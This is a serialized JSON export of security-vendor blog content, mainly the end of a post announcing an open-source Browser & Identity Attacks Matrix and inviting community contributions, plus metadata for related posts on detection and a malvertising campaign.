changed",{"data":19605,"content":19606,"nodeType":866},{},[19607,19611,19619],{"data":19608,"marks":19609,"value":19610,"nodeType":865},{},[],"The matrix remains open-source, community-maintained, and available on ",{"data":19612,"content":19614,"nodeType":882},{"uri":19613},"https://github.com/pushsecurity/saas-attacks",[19615],{"data":19616,"marks":19617,"value":19618,"nodeType":865},{},[],"GitHub",{"data":19620,"marks":19621,"value":19622,"nodeType":865},{},[],". The goal is the same as it was in 2023: to give offensive and defensive security teams a shared reference point for the techniques that matter most.",{"data":19624,"content":19625,"nodeType":866},{},[19626],{"data":19627,"marks":19628,"value":19629,"nodeType":865},{},[],"We built it because there was a gap in how the industry talked about these techniques, and that gap still exists — MITRE ATT&CK remains essential for endpoint and network TTPs, but the browser-based, identity-first techniques behind most modern breaches are still underrepresented in traditional frameworks.",{"data":19631,"content":19632,"nodeType":866},{},[19633],{"data":19634,"marks":19635,"value":19636,"nodeType":865},{},[],"We continue to maintain the matrix with input from red teams, detection engineers, and threat researchers across the community. Some of the most valuable additions over the past two years have come from practitioners who encountered a technique on an engagement or in an investigation and contributed it back to the repository.",{"data":19638,"content":19639,"nodeType":866},{},[19640,19644,19651],{"data":19641,"marks":19642,"value":19643,"nodeType":865},{},[],"If you're an offensive security professional using these techniques on engagements, or a defender building detections against them, we want to hear from you. Submit a PR, open a discussion, or flag a technique we've missed on ",{"data":19645,"content":19647,"nodeType":882},{"uri":19646},"https://github.com/pushsecurity/browser-identity-attacks-matrix",[19648],{"data":19649,"marks":19650,"value":19618,"nodeType":865},{},[],{"data":19652,"marks":19653,"value":1048,"nodeType":865},{},[],{"data":19655,"content":19656,"nodeType":953},{},[],{"data":19658,"content":19659,"nodeType":963},{},[19660],{"data":19661,"marks":19662,"value":19664,"nodeType":865},{},[19663],{"type":961},"Looking ahead",{"data":19666,"content":19667,"nodeType":866},{},[19668],{"data":19669,"marks":19670,"value":19671,"nodeType":865},{},[],"The pace of attacker innovation in browser-based initial access techniques over the past 18 months has been unlike anything we've tracked before — technique after technique moving from research curiosity to industrialized criminal tooling within months, not years.",{"data":19673,"content":19674,"nodeType":1049},{},[19675,19685,19695],{"data":19676,"content":19677,"nodeType":1003},{},[19678],{"data":19679,"content":19680,"nodeType":866},{},[19681],{"data":19682,"marks":19683,"value":19684,"nodeType":865},{},[],"AiTM platforms are adding authorization-based attack options alongside their credential-harvesting capabilities.",{"data":19686,"content":19687,"nodeType":1003},{},[19688],{"data":19689,"content":19690,"nodeType":866},{},[19691],{"data":19692,"marks":19693,"value":19694,"nodeType":865},{},[],"ClickFix has spawned fully browser-native variants.",{"data":19696,"content":19697,"nodeType":1003},{},[19698],{"data":19699,"content":19700,"nodeType":866},{},[19701],{"data":19702,"marks":19703,"value":19704,"nodeType":865},{},[],"AI is lowering the cost of producing convincing social engineering and phishing infrastructure at scale.",{"data":19706,"content":19707,"nodeType":866},{},[19708],{"data":19709,"marks":19710,"value":19711,"nodeType":865},{},[],"We don't see any of this slowing down, and that's exactly why thinking about these attacks as a browser problem instead of siloing them across email, endpoint, network, and cloud categories, each with a partial view of the picture (and still missing the whole when combined).",{"data":19713,"content":19714,"nodeType":866},{},[19715,19719,19726],{"data":19716,"marks":19717,"value":19718,"nodeType":865},{},[],"The Browser & Identity Attacks Matrix is our contribution to keeping that shared understanding current. You can ",{"data":19720,"content":19721,"nodeType":882},{"uri":18999},[19722],{"data":19723,"marks":19724,"value":19725,"nodeType":865},{},[],"explore the matrix here",{"data":19727,"marks":19728,"value":1048,"nodeType":865},{},[],{"data":19730,"content":19731,"nodeType":866},{},[19732,19736,19743],{"data":19733,"marks":19734,"value":19735,"nodeType":865},{},[],"You can also read our recent ",{"data":19737,"content":19738,"nodeType":882},{"uri":5636},[19739],{"data":19740,"marks":19741,"value":19742,"nodeType":865},{},[],"browser attack techniques report",{"data":19744,"marks":19745,"value":19746,"nodeType":865},{},[]," for more information.",{"data":19748,"content":19752,"nodeType":925},{"target":19749},{"sys":19750},{"id":19751,"type":922,"linkType":923},"1hx6sxpyEzxn4F4jc1RGQi",[],{"data":19754,"content":19755,"nodeType":953},{},[],{"data":19757,"content":19758,"nodeType":866},{},[19759],{"data":19760,"marks":19761,"value":19762,"nodeType":865},{},[],"Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required. Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.",{"data":19764,"content":19765,"nodeType":866},{},[19766,19769,19775],{"data":19767,"marks":19768,"value":1725,"nodeType":865},{},[],{"data":19770,"content":19771,"nodeType":882},{"uri":1728},[19772],{"data":19773,"marks":19774,"value":1734,"nodeType":865},{},[],{"data":19776,"marks":19777,"value":1738,"nodeType":865},{},[],"Introducing the Browser & Identity Attacks Matrix","We're re-releasing the SaaS attack matrix as the Browser & Identity Attacks Matrix. Here's why we've decided to make the change and what it means.","2026-05-08T00:00:00.000Z","introducing-the-browser-and-identity-attacks-matrix",{"items":19783},[19784,19786],{"sys":19785,"name":11426},{"id":11425},{"sys":19787,"name":342},{"id":8410},{"items":19789},[19790],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":19791},{"url":11434},{"__typename":1788,"sys":19793,"content":19794,"title":16221,"synopsis":16222,"hashTags":59,"publishedDate":16223,"slug":16224,"tagsCollection":20602,"authorsCollection":20608},{"id":15283},{"json":19795},{"data":19796,"content":19797,"nodeType":1739},{},[19798,19804,19821,19831,19837,19844,19850,19870,19876,19882,19888,19898,19903,19906,19913,19926,19943,20039,20044,20050,20055,20062,20068,20078,20084,20089,20095,20115,20121,20127,20132,20135,20142,20148,20155,20161,20174,20180,20186,20193,20199,20205,20212,20218,20224,20227,20234,20240,20247,20253,20259,20265,20271,20278,20284,20311,20317,20323,20328,20334,20341,20347,20415,20420,20427,20440,20446,20451,20457,20470,20473,20480,20486,20492,20497,20503,20542,20548,20554,20560,20565,20568,20575,20581,20587],{"data":19799,"content":19800,"nodeType":866},{},[19801],{"data":19802,"marks":19803,"value":15294,"nodeType":865},{},[],{"data":19805,"content":19806,"nodeType":866},{},[19807,19810,19818],{"data":19808,"marks":19809,"value":15301,"nodeType":865},{},[],{"data":19811,"content":19814,"nodeType":15311},{"target":19812},{"sys":19813},{"id":15306,"type":922,"linkType":923},[19815],{"data":19816,"marks":19817,"value":441,"nodeType":865},{},[],{"data":19819,"marks":19820,"value":15315,"nodeType":865},{},[],{"data":19822,"content":19823,"nodeType":866},{},[19824,19827],{"data":19825,"marks":19826,"value":15322,"nodeType":865},{},[],{"data":19828,"marks":19829,"value":15327,"nodeType":865},{},[19830],{"type":944},{"data":19832,"content":19833,"nodeType":866},{},[19834],{"data":19835,"marks":19836,"value":15334,"nodeType":865},{},[],{"data":19838,"content":19839,"nodeType":866},{},[19840],{"data":19841,"marks":19842,"value":15342,"nodeType":865},{},[19843],{"type":961},{"data":19845,"content":19846,"nodeType":866},{},[19847],{"data":19848,"marks":19849,"value":15349,"nodeType":865},{},[],{"data":19851,"content":19852,"nodeType":866},{},[19853,19857,19866],{"data":19854,"marks":19855,"value":15357,"nodeType":865},{},[19856],{"type":961},{"data":19858,"content":19861,"nodeType":15311},{"target":19859},{"sys":19860},{"id":15362,"type":922,"linkType":923},[19862],{"data":19863,"marks":19864,"value":11347,"nodeType":865},{},[19865],{"type":961},{"data":19867,"marks":19868,"value":1048,"nodeType":865},{},[19869],{"type":961},{"data":19871,"content":19872,"nodeType":866},{},[19873],{"data":19874,"marks":19875,"value":15378,"nodeType":865},{},[],{"data":19877,"content":19878,"nodeType":866},{},[19879],{"data":19880,"marks":19881,"value":15385,"nodeType":865},{},[],{"data":19883,"content":19884,"nodeType":866},{},[19885],{"data":19886,"marks":19887,"value":15392,"nodeType":865},{},[],{"data":19889,"content":19890,"nodeType":866},{},[19891,19895],{"data":19892,"marks":19893,"value":15400,"nodeType":865},{},[19894],{"type":961},{"data":19896,"marks":19897,"value":15404,"nodeType":865},{},[],{"data":19899,"content":19902,"nodeType":925},{"target":19900},{"sys":19901},{"id":15409,"type":922,"linkType":923},[],{"data":19904,"content":19905,"nodeType":953},{},[],{"data":19907,"content":19908,"nodeType":963},{},[19909],{"data":19910,"marks":19911,"value":15421,"nodeType":865},{},[19912],{"type":961},{"data":19914,"content":19915,"nodeType":866},{},[19916,19919,19923],{"data":19917,"marks":19918,"value":15428,"nodeType":865},{},[],{"data":19920,"marks":19921,"value":15433,"nodeType":865},{},[19922],{"type":961},{"data":19924,"marks":19925,"value":15437,"nodeType":865},{},[],{"data":19927,"content":19928,"nodeType":866},{},[19929,19932,19940],{"data":19930,"marks":19931,"value":15444,"nodeType":865},{},[],{"data":19933,"content":19936,"nodeType":15311},{"target":19934},{"sys":19935},{"id":15449,"type":922,"linkType":923},[19937],{"data":19938,"marks":19939,"value":15454,"nodeType":865},{},[],{"data":19941,"marks":19942,"value":15458,"nodeType":865},{},[],{"data":19944,"content":19945,"nodeType":1049},{},[19946,19955,19975],{"data":19947,"content":19948,"nodeType":1003},{},[19949],{"data":19950,"content":19951,"nodeType":866},{},[19952],{"data":19953,"marks":19954,"value":15471,"nodeType":865},{},[],{"data":19956,"content":19957,"nodeType":1003},{},[19958],{"data":19959,"content":19960,"nodeType":866},{},[19961,19964,19972],{"data":19962,"marks":19963,"value":15481,"nodeType":865},{},[],{"data":19965,"content":19968,"nodeType":15311},{"target":19966},{"sys":19967},{"id":15486,"type":922,"linkType":923},[19969],{"data":19970,"marks":19971,"value":15491,"nodeType":865},{},[],{"data":19973,"marks":19974,"value":15495,"nodeType":865},{},[],{"data":19976,"content":19977,"nodeType":1003},{},[19978],{"data":19979,"content":19980,"nodeType":866},{},[19981,19984,19992,19995,20003,20006,20014,20017,20025,20028,20036],{"data":19982,"marks":19983,"value":15505,"nodeType":865},{},[],{"data":19985,"content":19988,"nodeType":15311},{"target":19986},{"sys":19987},{"id":15510,"type":922,"linkType":923},[19989],{"data":19990,"marks":19991,"value":11095,"nodeType":865},{},[],{"data":19993,"marks":19994,"value":15518,"nodeType":865},{},[],{"data":19996,"content":19999,"nodeType":15311},{"target":19997},{"sys":19998},{"id":15362,"type":922,"linkType":923},[20000],{"data":20001,"marks":20002,"value":15527,"nodeType":865},{},[],{"data":20004,"marks":20005,"value":15531,"nodeType":865},{},[],{"data":20007,"content":20010,"nodeType":15311},{"target":20008},{"sys":20009},{"id":15536,"type":922,"linkType":923},[20011],{"data":20012,"marks":20013,"value":15541,"nodeType":865},{},[],{"data":20015,"marks":20016,"value":2157,"nodeType":865},{},[],{"data":20018,"content":20021,"nodeType":15311},{"target":20019},{"sys":20020},{"id":15306,"type":922,"linkType":923},[20022],{"data":20023,"marks":20024,"value":520,"nodeType":865},{},[],{"data":20026,"marks":20027,"value":2157,"nodeType":865},{},[],{"data":20029,"content":20032,"nodeType":15311},{"target":20030},{"sys":20031},{"id":15560,"type":922,"linkType":923},[20033],{"data":20034,"marks":20035,"value":15565,"nodeType":865},{},[],{"data":20037,"marks":20038,"value":15569,"nodeType":865},{},[],{"data":20040,"content":20043,"nodeType":925},{"target":20041},{"sys":20042},{"id":15574,"type":922,"linkType":923},[],{"data":20045,"content":20046,"nodeType":866},{},[20047],{"data":20048,"marks":20049,"value":15582,"nodeType":865},{},[],{"data":20051,"content":20054,"nodeType":925},{"target":20052},{"sys":20053},{"id":15587,"type":922,"linkType":923},[],{"data":20056,"content":20057,"nodeType":1458},{},[20058],{"data":20059,"marks":20060,"value":15596,"nodeType":865},{},[20061],{"type":961},{"data":20063,"content":20064,"nodeType":866},{},[20065],{"data":20066,"marks":20067,"value":15603,"nodeType":865},{},[],{"data":20069,"content":20070,"nodeType":866},{},[20071,20075],{"data":20072,"marks":20073,"value":15611,"nodeType":865},{},[20074],{"type":961},{"data":20076,"marks":20077,"value":15615,"nodeType":865},{},[],{"data":20079,"content":20080,"nodeType":866},{},[20081],{"data":20082,"marks":20083,"value":15622,"nodeType":865},{},[],{"data":20085,"content":20088,"nodeType":925},{"target":20086},{"sys":20087},{"id":15627,"type":922,"linkType":923},[],{"data":20090,"content":20091,"nodeType":866},{},[20092],{"data":20093,"marks":20094,"value":15635,"nodeType":865},{},[],{"data":20096,"content":20097,"nodeType":866},{},[20098,20102,20111],{"data":20099,"marks":20100,"value":15643,"nodeType":865},{},[20101],{"type":961},{"data":20103,"content":20106,"nodeType":15311},{"target":20104},{"sys":20105},{"id":15648,"type":922,"linkType":923},[20107],{"data":20108,"marks":20109,"value":8561,"nodeType":865},{},[20110],{"type":961},{"data":20112,"marks":20113,"value":15658,"nodeType":865},{},[20114],{"type":961},{"data":20116,"content":20117,"nodeType":866},{},[20118],{"data":20119,"marks":20120,"value":15665,"nodeType":865},{},[],{"data":20122,"content":20123,"nodeType":866},{},[20124],{"data":20125,"marks":20126,"value":15672,"nodeType":865},{},[],{"data":20128,"content":20131,"nodeType":925},{"target":20129},{"sys":20130},{"id":15677,"type":922,"linkType":923},[],{"data":20133,"content":20134,"nodeType":953},{},[],{"data":20136,"content":20137,"nodeType":963},{},[20138],{"data":20139,"marks":20140,"value":15689,"nodeType":865},{},[20141],{"type":961},{"data":20143,"content":20144,"nodeType":866},{},[20145],{"data":20146,"marks":20147,"value":15696,"nodeType":865},{},[],{"data":20149,"content":20150,"nodeType":1458},{},[20151],{"data":20152,"marks":20153,"value":15704,"nodeType":865},{},[20154],{"type":961},{"data":20156,"content":20157,"nodeType":866},{},[20158],{"data":20159,"marks":20160,"value":15711,"nodeType":865},{},[],{"data":20162,"content":20163,"nodeType":866},{},[20164,20167,20171],{"data":20165,"marks":20166,"value":15718,"nodeType":865},{},[],{"data":20168,"marks":20169,"value":9014,"nodeType":865},{},[20170],{"type":961},{"data":20172,"marks":20173,"value":15726,"nodeType":865},{},[],{"data":20175,"content":20176,"nodeType":866},{},[20177],{"data":20178,"marks":20179,"value":15733,"nodeType":865},{},[],{"data":20181,"content":20182,"nodeType":866},{},[20183],{"data":20184,"marks":20185,"value":15740,"nodeType":865},{},[],{"data":20187,"content":20188,"nodeType":1458},{},[20189],{"data":20190,"marks":20191,"value":15748,"nodeType":865},{},[20192],{"type":961},{"data":20194,"content":20195,"nodeType":866},{},[20196],{"data":20197,"marks":20198,"value":15755,"nodeType":865},{},[],{"data":20200,"content":20201,"nodeType":866},{},[20202],{"data":20203,"marks":20204,"value":15762,"nodeType":865},{},[],{"data":20206,"content":20207,"nodeType":1458},{},[20208],{"data":20209,"marks":20210,"value":15770,"nodeType":865},{},[20211],{"type":961},{"data":20213,"content":20214,"nodeType":866},{},[20215],{"data":20216,"marks":20217,"value":15777,"nodeType":865},{},[],{"data":20219,"content":20220,"nodeType":866},{},[20221],{"data":20222,"marks":20223,"value":15784,"nodeType":865},{},[],{"data":20225,"content":20226,"nodeType":953},{},[],{"data":20228,"content":20229,"nodeType":963},{},[20230],{"data":20231,"marks":20232,"value":15795,"nodeType":865},{},[20233],{"type":961},{"data":20235,"content":20236,"nodeType":866},{},[20237],{"data":20238,"marks":20239,"value":15802,"nodeType":865},{},[],{"data":20241,"content":20242,"nodeType":1458},{},[20243],{"data":20244,"marks":20245,"value":15810,"nodeType":865},{},[20246],{"type":961},{"data":20248,"content":20249,"nodeType":866},{},[20250],{"data":20251,"marks":20252,"value":15817,"nodeType":865},{},[],{"data":20254,"content":20255,"nodeType":866},{},[20256],{"data":20257,"marks":20258,"value":15824,"nodeType":865},{},[],{"data":20260,"content":20261,"nodeType":866},{},[20262],{"data":20263,"marks":20264,"value":15831,"nodeType":865},{},[],{"data":20266,"content":20267,"nodeType":866},{},[20268],{"data":20269,"marks":20270,"value":15838,"nodeType":865},{},[],{"data":20272,"content":20273,"nodeType":1458},{},[20274],{"data":20275,"marks":20276,"value":15846,"nodeType":865},{},[20277],{"type":961},{"data":20279,"content":20280,"nodeType":866},{},[20281],{"data":20282,"marks":20283,"value":15853,"nodeType":865},{},[],{"data":20285,"content":20286,"nodeType":866},{},[20287,20290,20294,20297,20301,20304,20308],{"data":20288,"marks":20289,"value":15860,"nodeType":865},{},[],{"data":20291,"marks":20292,"value":15865,"nodeType":865},{},[20293],{"type":961},{"data":20295,"marks":20296,"value":2186,"nodeType":865},{},[],{"data":20298,"marks":20299,"value":15873,"nodeType":865},{},[20300],{"type":961},{"data":20302,"marks":20303,"value":2186,"nodeType":865},{},[],{"data":20305,"marks":20306,"value":15881,"nodeType":865},{},[20307],{"type":961},{"data":20309,"marks":20310,"value":15885,"nodeType":865},{},[],{"data":20312,"content":20313,"nodeType":866},{},[20314],{"data":20315,"marks":20316,"value":15892,"nodeType":865},{},[],{"data":20318,"content":20319,"nodeType":866},{},[20320],{"data":20321,"marks":20322,"value":15899,"nodeType":865},{},[],{"data":20324,"content":20327,"nodeType":925},{"target":20325},{"sys":20326},{"id":15904,"type":922,"linkType":923},[],{"data":20329,"content":20330,"nodeType":866},{},[20331],{"data":20332,"marks":20333,"value":15912,"nodeType":865},{},[],{"data":20335,"content":20336,"nodeType":1458},{},[20337],{"data":20338,"marks":20339,"value":15920,"nodeType":865},{},[20340],{"type":961},{"data":20342,"content":20343,"nodeType":866},{},[20344],{"data":20345,"marks":20346,"value":15927,"nodeType":865},{},[],{"data":20348,"content":20349,"nodeType":1049},{},[20350,20363,20376,20389,20402],{"data":20351,"content":20352,"nodeType":1003},{},[20353],{"data":20354,"content":20355,"nodeType":866},{},[20356,20360],{"data":20357,"marks":20358,"value":15941,"nodeType":865},{},[20359],{"type":961},{"data":20361,"marks":20362,"value":15945,"nodeType":865},{},[],{"data":20364,"content":20365,"nodeType":1003},{},[20366],{"data":20367,"content":20368,"nodeType":866},{},[20369,20373],{"data":20370,"marks":20371,"value":15956,"nodeType":865},{},[20372],{"type":961},{"data":20374,"marks":20375,"value":15960,"nodeType":865},{},[],{"data":20377,"content":20378,"nodeType":1003},{},[20379],{"data":20380,"content":20381,"nodeType":866},{},[20382,20386],{"data":20383,"marks":20384,"value":15971,"nodeType":865},{},[20385],{"type":961},{"data":20387,"marks":20388,"value":15975,"nodeType":865},{},[],{"data":20390,"content":20391,"nodeType":1003},{},[20392],{"data":20393,"content":20394,"nodeType":866},{},[20395,20399],{"data":20396,"marks":20397,"value":15986,"nodeType":865},{},[20398],{"type":961},{"data":20400,"marks":20401,"value":15990,"nodeType":865},{},[],{"data":20403,"content":20404,"nodeType":1003},{},[20405],{"data":20406,"content":20407,"nodeType":866},{},[20408,20412],{"data":20409,"marks":20410,"value":16001,"nodeType":865},{},[20411],{"type":961},{"data":20413,"marks":20414,"value":16005,"nodeType":865},{},[],{"data":20416,"content":20419,"nodeType":925},{"target":20417},{"sys":20418},{"id":16010,"type":922,"linkType":923},[],{"data":20421,"content":20422,"nodeType":1458},{},[20423],{"data":20424,"marks":20425,"value":16019,"nodeType":865},{},[20426],{"type":961},{"data":20428,"content":20429,"nodeType":866},{},[20430,20433,20437],{"data":20431,"marks":20432,"value":16026,"nodeType":865},{},[],{"data":20434,"marks":20435,"value":16031,"nodeType":865},{},[20436],{"type":961},{"data":20438,"marks":20439,"value":16035,"nodeType":865},{},[],{"data":20441,"content":20442,"nodeType":866},{},[20443],{"data":20444,"marks":20445,"value":16042,"nodeType":865},{},[],{"data":20447,"content":20450,"nodeType":925},{"target":20448},{"sys":20449},{"id":16047,"type":922,"linkType":923},[],{"data":20452,"content":20453,"nodeType":866},{},[20454],{"data":20455,"marks":20456,"value":16055,"nodeType":865},{},[],{"data":20458,"content":20459,"nodeType":866},{},[20460,20463,20467],{"data":20461,"marks":20462,"value":16062,"nodeType":865},{},[],{"data":20464,"marks":20465,"value":16067,"nodeType":865},{},[20466],{"type":961},{"data":20468,"marks":20469,"value":16071,"nodeType":865},{},[],{"data":20471,"content":20472,"nodeType":953},{},[],{"data":20474,"content":20475,"nodeType":963},{},[20476],{"data":20477,"marks":20478,"value":16082,"nodeType":865},{},[20479],{"type":961},{"data":20481,"content":20482,"nodeType":866},{},[20483],{"data":20484,"marks":20485,"value":16089,"nodeType":865},{},[],{"data":20487,"content":20488,"nodeType":866},{},[20489],{"data":20490,"marks":20491,"value":16096,"nodeType":865},{},[],{"data":20493,"content":20496,"nodeType":925},{"target":20494},{"sys":20495},{"id":16101,"type":922,"linkType":923},[],{"data":20498,"content":20499,"nodeType":866},{},[20500],{"data":20501,"marks":20502,"value":16109,"nodeType":865},{},[],{"data":20504,"content":20505,"nodeType":1049},{},[20506,20524,20533],{"data":20507,"content":20508,"nodeType":1003},{},[20509],{"data":20510,"content":20511,"nodeType":866},{},[20512,20515,20521],{"data":20513,"marks":20514,"value":16122,"nodeType":865},{},[],{"data":20516,"content":20517,"nodeType":882},{"uri":16125},[20518],{"data":20519,"marks":20520,"value":16130,"nodeType":865},{},[],{"data":20522,"marks":20523,"value":16134,"nodeType":865},{},[],{"data":20525,"content":20526,"nodeType":1003},{},[20527],{"data":20528,"content":20529,"nodeType":866},{},[20530],{"data":20531,"marks":20532,"value":16144,"nodeType":865},{},[],{"data":20534,"content":20535,"nodeType":1003},{},[20536],{"data":20537,"content":20538,"nodeType":866},{},[20539],{"data":20540,"marks":20541,"value":16154,"nodeType":865},{},[],{"data":20543,"content":20544,"nodeType":866},{},[20545],{"data":20546,"marks":20547,"value":16161,"nodeType":865},{},[],{"data":20549,"content":20550,"nodeType":866},{},[20551],{"data":20552,"marks":20553,"value":16168,"nodeType":865},{},[],{"data":20555,"content":20556,"nodeType":866},{},[20557],{"data":20558,"marks":20559,"value":16175,"nodeType":865},{},[],{"data":20561,"content":20564,"nodeType":925},{"target":20562},{"sys":20563},{"id":16180,"type":922,"linkType":923},[],{"data":20566,"content":20567,"nodeType":953},{},[],{"data":20569,"content":20570,"nodeType":963},{},[20571],{"data":20572,"marks":20573,"value":16192,"nodeType":865},{},[20574],{"type":961},{"data":20576,"content":20577,"nodeType":866},{},[20578],{"data":20579,"marks":20580,"value":2792,"nodeType":865},{},[],{"data":20582,"content":20583,"nodeType":866},{},[20584],{"data":20585,"marks":20586,"value":1718,"nodeType":865},{},[],{"data":20588,"content":20589,"nodeType":866},{},[20590,20593,20599],{"data":20591,"marks":20592,"value":1725,"nodeType":865},{},[],{"data":20594,"content":20595,"nodeType":882},{"uri":16213},[20596],{"data":20597,"marks":20598,"value":1734,"nodeType":865},{},[],{"data":20600,"marks":20601,"value":1738,"nodeType":865},{},[],{"items":20603},[20604,20606],{"sys":20605,"name":11426},{"id":11425},{"sys":20607,"name":342},{"id":8410},{"items":20609},[20610],{"fullName":3774,"firstName":3775,"jobTitle":3776,"profilePicture":20611},{"url":3778},"blog/the-pyramid-of-pain-in-the-ai-era",{"json":20614},{"data":20615,"content":20616,"nodeType":1739},{},[20617],{"data":20618,"content":20619,"nodeType":866},{},[20620],{"data":20621,"marks":20622,"value":20623,"nodeType":865},{},[],"AI is accelerating the collapse of indicator-based threat detection. Technique-level detection is the only layer that holds, and requires both the right vantage point and the research capability to stay ahead.",{"id":10661,"publishedAt":20625},"2026-08-12T12:00:48.380Z",{"items":20627},[20628,20630],{"sys":20629,"name":342},{"id":8410},{"sys":20631,"name":11426},{"id":11425},{"items":20633},[20634,20636,20638,20640,20642,20644,20646,20648,20650,20652,20654,20656,20658,20660,20662,20664],{"sys":20635,"name":279,"slug":280,"tier":31},{"id":276},{"sys":20637,"name":297,"slug":298,"tier":31},{"id":294},{"sys":20639,"name":342,"slug":343,"tier":31},{"id":339},{"sys":20641,"name":235,"slug":236,"tier":31},{"id":232},{"sys":20643,"name":351,"slug":352,"tier":45},{"id":348},{"sys":20645,"name":244,"slug":245,"tier":45},{"id":241},{"sys":20647,"name":511,"slug":512,"tier":45},{"id":508},{"sys":20649,"name":261,"slug":262,"tier":45},{"id":258},{"sys":20651,"name":315,"slug":316,"tier":45},{"id":312},{"sys":20653,"name":360,"slug":361,"tier":45},{"id":357},{"sys":20655,"name":324,"slug":325,"tier":45},{"id":321},{"sys":20657,"name":440,"slug":441,"tier":45},{"id":437},{"sys":20659,"name":607,"slug":608,"tier":45},{"id":604},{"sys":20661,"name":484,"slug":485,"tier":45},{"id":481},{"sys":20663,"name":475,"slug":476,"tier":45},{"id":472},{"sys":20665,"name":650,"slug":651,"tier":45},{"id":647},"NcSsFyOCgz95lIcDmXKRjEU4Hg-WK6MPMgczrjIO-tI",{"id":20668,"title":13900,"authorsCollection":20669,"content":20673,"extension":228,"faqItemsCollection":21456,"faqTitle":59,"featured":6,"hashTags":59,"meta":21458,"metaTitle":21459,"ogImage":59,"postType":21460,"publishedDate":13902,"relatedBlogPostsCollection":21461,"slug":13903,"stem":25125,"subtitle":59,"summary":25126,"synopsis":13901,"sys":25137,"tagsCollection":25139,"topicsCollection":25145,"__hash__":25171},"blog/blog/llmshare-malvertising-campaign.json",{"items":20670},[20671],{"fullName":13913,"firstName":13914,"jobTitle":13915,"socialLinks":59,"profilePicture":20672},{"url":13917},{"json":20674,"links":21342},{"data":20675,"content":20676,"nodeType":1739},{},[20677,20683,20689,20713,20719,20724,20729,20739,20742,20749,20762,20768,20773,20779,20785,20790,20793,20800,20806,20811,20816,20822,20828,20843,20848,20851,20858,20873,20878,20884,20887,20894,20900,20906,20911,20916,20950,20956,20959,20966,20972,20978,21011,21017,21041,21047,21080,21086,21089,21096,21111,21117,21124,21137,21143,21158,21164,21167,21173,21179,21195,21198,21205,21220,21226,21336],{"data":20678,"content":20679,"nodeType":866},{},[20680],{"data":20681,"marks":20682,"value":13126,"nodeType":865},{},[],{"data":20684,"content":20685,"nodeType":866},{},[20686],{"data":20687,"marks":20688,"value":13133,"nodeType":865},{},[],{"data":20690,"content":20691,"nodeType":866},{},[20692,20695,20701,20704,20710],{"data":20693,"marks":20694,"value":13140,"nodeType":865},{},[],{"data":20696,"content":20697,"nodeType":882},{"uri":13143},[20698],{"data":20699,"marks":20700,"value":13148,"nodeType":865},{},[],{"data":20702,"marks":20703,"value":13152,"nodeType":865},{},[],{"data":20705,"content":20706,"nodeType":882},{"uri":13155},[20707],{"data":20708,"marks":20709,"value":13160,"nodeType":865},{},[],{"data":20711,"marks":20712,"value":13164,"nodeType":865},{},[],{"data":20714,"content":20715,"nodeType":866},{},[20716],{"data":20717,"marks":20718,"value":13171,"nodeType":865},{},[],{"data":20720,"content":20723,"nodeType":925},{"target":20721},{"sys":20722},{"id":13176,"type":922,"linkType":923},[],{"data":20725,"content":20728,"nodeType":925},{"target":20726},{"sys":20727},{"id":13182,"type":922,"linkType":923},[],{"data":20730,"content":20731,"nodeType":866},{},[20732,20736],{"data":20733,"marks":20734,"value":13191,"nodeType":865},{},[20735],{"type":961},{"data":20737,"marks":20738,"value":13195,"nodeType":865},{},[],{"data":20740,"content":20741,"nodeType":953},{},[],{"data":20743,"content":20744,"nodeType":963},{},[20745],{"data":20746,"marks":20747,"value":13206,"nodeType":865},{},[20748],{"type":961},{"data":20750,"content":20751,"nodeType":866},{},[20752,20755,20759],{"data":20753,"marks":20754,"value":13213,"nodeType":865},{},[],{"data":20756,"marks":20757,"value":13218,"nodeType":865},{},[20758],{"type":944},{"data":20760,"marks":20761,"value":13222,"nodeType":865},{},[],{"data":20763,"content":20764,"nodeType":866},{},[20765],{"data":20766,"marks":20767,"value":13229,"nodeType":865},{},[],{"data":20769,"content":20772,"nodeType":925},{"target":20770},{"sys":20771},{"id":13234,"type":922,"linkType":923},[],{"data":20774,"content":20775,"nodeType":866},{},[20776],{"data":20777,"marks":20778,"value":13242,"nodeType":865},{},[],{"data":20780,"content":20781,"nodeType":866},{},[20782],{"data":20783,"marks":20784,"value":13249,"nodeType":865},{},[],{"data":20786,"content":20789,"nodeType":925},{"target":20787},{"sys":20788},{"id":13254,"type":922,"linkType":923},[],{"data":20791,"content":20792,"nodeType":953},{},[],{"data":20794,"content":20795,"nodeType":963},{},[20796],{"data":20797,"marks":20798,"value":13266,"nodeType":865},{},[20799],{"type":961},{"data":20801,"content":20802,"nodeType":866},{},[20803],{"data":20804,"marks":20805,"value":13273,"nodeType":865},{},[],{"data":20807,"content":20810,"nodeType":925},{"target":20808},{"sys":20809},{"id":13278,"type":922,"linkType":923},[],{"data":20812,"content":20815,"nodeType":925},{"target":20813},{"sys":20814},{"id":13284,"type":922,"linkType":923},[],{"data":20817,"content":20818,"nodeType":866},{},[20819],{"data":20820,"marks":20821,"value":13292,"nodeType":865},{},[],{"data":20823,"content":20824,"nodeType":866},{},[20825],{"data":20826,"marks":20827,"value":13299,"nodeType":865},{},[],{"data":20829,"content":20830,"nodeType":866},{},[20831,20834,20840],{"data":20832,"marks":20833,"value":13306,"nodeType":865},{},[],{"data":20835,"content":20836,"nodeType":882},{"uri":13309},[20837],{"data":20838,"marks":20839,"value":13314,"nodeType":865},{},[],{"data":20841,"marks":20842,"value":1048,"nodeType":865},{},[],{"data":20844,"content":20847,"nodeType":925},{"target":20845},{"sys":20846},{"id":13322,"type":922,"linkType":923},[],{"data":20849,"content":20850,"nodeType":953},{},[],{"data":20852,"content":20853,"nodeType":963},{},[20854],{"data":20855,"marks":20856,"value":13334,"nodeType":865},{},[20857],{"type":961},{"data":20859,"content":20860,"nodeType":866},{},[20861,20864,20870],{"data":20862,"marks":20863,"value":13341,"nodeType":865},{},[],{"data":20865,"content":20866,"nodeType":882},{"uri":13143},[20867],{"data":20868,"marks":20869,"value":13348,"nodeType":865},{},[],{"data":20871,"marks":20872,"value":13352,"nodeType":865},{},[],{"data":20874,"content":20877,"nodeType":925},{"target":20875},{"sys":20876},{"id":13357,"type":922,"linkType":923},[],{"data":20879,"content":20880,"nodeType":866},{},[20881],{"data":20882,"marks":208